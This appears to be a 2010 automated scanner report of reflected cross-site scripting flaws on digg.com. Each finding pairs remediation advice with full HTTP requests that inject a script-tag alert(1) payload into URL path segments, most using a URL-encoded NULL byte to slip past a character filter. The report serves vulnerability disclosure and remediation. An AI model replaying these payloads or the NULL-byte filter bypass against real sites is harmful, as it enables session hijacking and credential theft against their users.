Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0075484"><script>alert(1)</script>241b56ed51e was submitted in the REST URL parameter 1. This input was echoed as 75484"><script>alert(1)</script>241b56ed51e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /ajax%0075484"><script>alert(1)</script>241b56ed51e/submit/crawl HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:06 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=386076 10.2.130.26 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15232
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0093df3"><script>alert(1)</script>b2a78d8ded was submitted in the REST URL parameter 2. This input was echoed as 93df3"><script>alert(1)</script>b2a78d8ded in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /ajax/submit%0093df3"><script>alert(1)</script>b2a78d8ded/crawl HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:08 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=381895 10.2.130.111 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15231
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00c8b36"><script>alert(1)</script>e03e5a7562e was submitted in the REST URL parameter 3. This input was echoed as c8b36"><script>alert(1)</script>e03e5a7562e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /ajax/submit/crawl%00c8b36"><script>alert(1)</script>e03e5a7562e HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:10 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=273528 10.2.130.24 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15232
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %004a3bb"><script>alert(1)</script>5f4172c8c60 was submitted in the REST URL parameter 1. This input was echoed as 4a3bb"><script>alert(1)</script>5f4172c8c60 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /login%004a3bb"><script>alert(1)</script>5f4172c8c60 HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:04 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=358029 10.2.130.26 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15208
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00cd65b"><script>alert(1)</script>6bff9f17711 was submitted in the REST URL parameter 1. This input was echoed as cd65b"><script>alert(1)</script>6bff9f17711 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /news%00cd65b"><script>alert(1)</script>6bff9f17711 HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:12 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=351978 10.2.129.156 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15207
1.6. http://digg.com/news [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://digg.com
Path:
/news
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1c99"><script>alert(1)</script>59db20b712e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news?b1c99"><script>alert(1)</script>59db20b712e=1 HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %002c095"><script>alert(1)</script>cc1e092dab7 was submitted in the REST URL parameter 1. This input was echoed as 2c095"><script>alert(1)</script>cc1e092dab7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /register%002c095"><script>alert(1)</script>cc1e092dab7 HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:04 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=316862 10.2.130.111 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15215
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0036e5c"><script>alert(1)</script>3d674255eaa was submitted in the REST URL parameter 1. This input was echoed as 36e5c"><script>alert(1)</script>3d674255eaa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /search%0036e5c"><script>alert(1)</script>3d674255eaa HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:05 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=365464 10.2.130.111 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15206
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0088ad8"><script>alert(1)</script>19e20dcc900 was submitted in the REST URL parameter 1. This input was echoed as 88ad8"><script>alert(1)</script>19e20dcc900 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /submit%0088ad8"><script>alert(1)</script>19e20dcc900?phase=2&url=http://www.fiserv.com/careers.htm&title=Careers HTTP/1.1 Host: digg.com Proxy-Connection: keep-alive Referer: http://www.fiserv.com/careers.htm Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00f4391"><script>alert(1)</script>4884e2766ef was submitted in the REST URL parameter 1. This input was echoed as f4391"><script>alert(1)</script>4884e2766ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /topic%00f4391"><script>alert(1)</script>4884e2766ef HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:05 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=373182 10.2.130.111 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15209
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00f377a"><script>alert(1)</script>fba3d5eaa7c was submitted in the REST URL parameter 1. This input was echoed as f377a"><script>alert(1)</script>fba3d5eaa7c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /upcoming%00f377a"><script>alert(1)</script>fba3d5eaa7c HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: d=00a4bc51a1cc07d35ee407abd5c7a659e679708b7533826524d3aff172d3d83e; traffic_control=1943021764233658561%3A135;
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 16:04:11 GMT Server: Apache X-Powered-By: PHP/5.2.9-digg8 X-Digg-Time: D=269677 10.2.129.76 Cache-Control: no-cache,no-store,must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 15214